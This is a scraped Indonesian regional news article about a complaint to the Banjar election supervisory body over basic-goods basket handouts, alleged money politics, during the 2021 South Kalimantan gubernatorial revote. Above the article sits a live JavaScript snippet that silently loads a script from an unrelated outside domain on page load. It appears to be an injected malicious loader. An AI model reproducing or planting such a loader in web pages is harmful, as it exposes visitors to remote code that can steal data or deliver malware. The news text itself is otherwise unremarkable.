(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pembagian bakul isi sembako di UPT Dinas Pendidikan Kabupaten Banjar Kecamatan Martapura Kota dinilai sudah meresahkan.
Tim Hukum Haji Denny-Difri (H2D) meminta Bawaslu Banjar mengambil tindakan, Selasa (6/4/2021).
Bakul purun yang bertuliskan Bakul Paman mulai beredar luas di wilayah Pemungutan Suara Ulang (PSU) Pilgub Kalsel di Kabupaten Banjar.
Kekinian, bakul purun ini bahkan sudah dibagikan di area fasilitas pemerintah milik Pemkab Banjar, yakni di aula UPT Dinas Pendidikan Kabupaten Banjar Kecamatan Martapura Kota.
Pembagian bakul isi sembako di UPT Dinas Pendidikan Kabupaten Banjar Kecamatan Martapura Kota pada Senin (5/4/2021). Foto: ist
Terkait adanya pembagian Bakul Paman ini, Korwil Kecamatan Bidang Pendidikan Martapura Kota, Hj Hermawai dalam surat tertulis secara resmi menerangkan bahwa pembagian Bakul Paman di aula UPT Dinas Pendidikan Kabupaten Banjar Kecamatan Martapura Kota pada hari Senin (5/4/2021) tersebut, tanpa izin dari pihaknya.
Kegiatan membagikan bakul purun paman tersebut ia akui terjadi, namun pihaknya tidak ada di tempat karena menghadiri kegiatan Program Gitaku Manis di aula Dinas Pendidikan Kabupaten Banjar.
Berikut surat pernyataannya :
Terpisah, Kuasa Hukum H2D, Muhammad Raziv Barokah mengatakan, pembagian bakul ini semakin menggambarkan fenomena yang unik dalam Pilgub Kalsel. Satu Paslon mengusung perjuangan yang menolak politik uang dan transaksional atau money politics.
“Di sisi lain ada Paslon yang mengedepankan politik berbagi bakul, yang mana kita tahu bahwa pembagian bakul tersebut di dalam kajian ilmu politik dan hukum kepemiluan itu adalah modus money politics,†tegasnya.
Kuasa Hukum H2D ini mengharapkan agar penyelenggara pemilu, khususnya Bawaslu yang punya kewenangan agar dugaan pelanggaran dapat diantisipasi, dicegah atau bahkan mengambil tindakan.
Hal itu menurut Raziv penting dilakukan Bawaslu agar pada Pilgub Kalsel terpilih pemimpin yang berintegritas yang mengabdi kepada masyarakat, bukan kepada segelintir orang.
“Pembagian bakul di tempat yang notabene wilayah dari pemerintah di aula UPT Dinas Pendidikan Kabupaten Banjar, Kecamatan Martapura Kota tersebut tentu sangat meresahkan, karena itu kami harap Bawaslu Banjar segera melakukan tindakan,†tandas Muhammad Raziv Barokah.
Sementara itu, Komisioner Bawaslu Banjar Divisi Penanganan Pelanggaran, Syahrial Fitri mengatakan, pihaknya belum menerima laporan mengenai adanya pembagian bakul tersebut. Tetapi dengan ada laporan masyarakat tersebut, maka pihaknya segera melakukan penelusuran.
“Kami telusuri dulu informasi itu,†kata Syahrial Fitri. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.